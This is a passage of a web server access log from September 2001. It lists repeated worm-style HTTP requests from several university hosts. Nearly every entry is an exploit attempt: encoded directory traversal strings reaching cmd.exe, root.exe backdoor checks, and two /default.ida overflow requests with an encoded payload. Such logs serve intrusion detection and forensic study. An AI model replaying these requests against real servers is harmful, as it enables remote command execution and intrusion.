  5979. 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5980. 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5981. 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5982. 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5983. 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5984. 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5985. 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5986. 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5987. 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5988. 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5989. 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5990. 20010918 19:28:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5991. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5992. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5993. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5994. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5995. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5996. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5997. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5998. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5999. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6000. 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6001. 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6002. 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6003. 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6004. 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6005. 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6006. 20010918 19:31:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6007. 20010918 19:31:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6008. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6009. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6010. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6011. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6012. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6013. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6014. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6015. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6016. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6017. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6018. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6019. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6020. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6021. 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6022. 20010918 19:31:48: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6023. 20010918 19:32:30: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6024. 20010918 19:35:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6025. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6026. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6027. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6028. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6029. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6030. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6031. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6032. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6033. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6034. 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6035. 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6036. 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6037. 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6038. 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6039. 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6040. 20010918 19:37:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6041. 20010918 19:37:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6042. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6043. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6044. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6045. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6046. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6047. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6048. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6049. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6050. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6051. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6052. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6053. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6054. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6055. 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6056. 20010918 19:37:26: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6057. 20010918 19:41:02: w2237b.inrf.uci.edu [128.195.167.150] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6058. 20010918 19:41:02: w2237b.inrf.uci.edu [128.195.167.150] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6059. 20010918 19:41:03: w2237b.inrf.uci.edu [128.195.167.150] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6060. 20010918 19:41:03: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6061. 20010918 19:41:03: w2237b.inrf.uci.edu [128.195.167.150] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6062. 20010918 19:41:04: w2237b.inrf.uci.edu [128.195.167.150] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6063. 20010918 19:41:04: w2237b.inrf.uci.edu [128.195.167.150] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6064. 20010918 19:41:04: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6065. 20010918 19:41:04: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6066. 20010918 19:41:05: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6067. 20010918 19:41:05: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6068. 20010918 19:41:05: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6069. 20010918 19:41:06: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6070. 20010918 19:41:06: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6071. 20010918 19:41:06: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6072. 20010918 19:41:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6073. 20010918 19:42:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6074. 20010918 19:42:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6075. 20010918 19:42:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6076. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6077. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6078. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6079. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6080. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6081. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6082. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6083. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6084. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6085. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6086. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6087. 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6088. 20010918 19:42:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6089. 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6090. 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6091. 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6092. 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6093. 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6094. 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6095. 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6096. 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6097. 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6098. 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6099. 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6100. 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6101. 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6102. 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6103. 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6104. 20010918 19:43:25: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6105. 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6106. 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6107. 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6108. 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6109. 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6110. 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6111. 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6112. 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6113. 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6114. 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6115. 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6116. 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6117. 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6118. 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6119. 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6120. 20010918 19:45:31: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6121. 20010918 19:47:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6122. 20010918 19:47:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6123. 20010918 19:47:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6124. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6125. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6126. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6127. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6128. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6129. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6130. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6131. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6132. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6133. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6134. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6135. 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6136. 20010918 19:47:59: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6137. 20010918 19:50:10: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6138. 20010918 19:50:10: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6139. 20010918 19:50:10: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6140. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6141. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6142. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6143. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6144. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6145. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6146. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6147. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6148. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6149. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
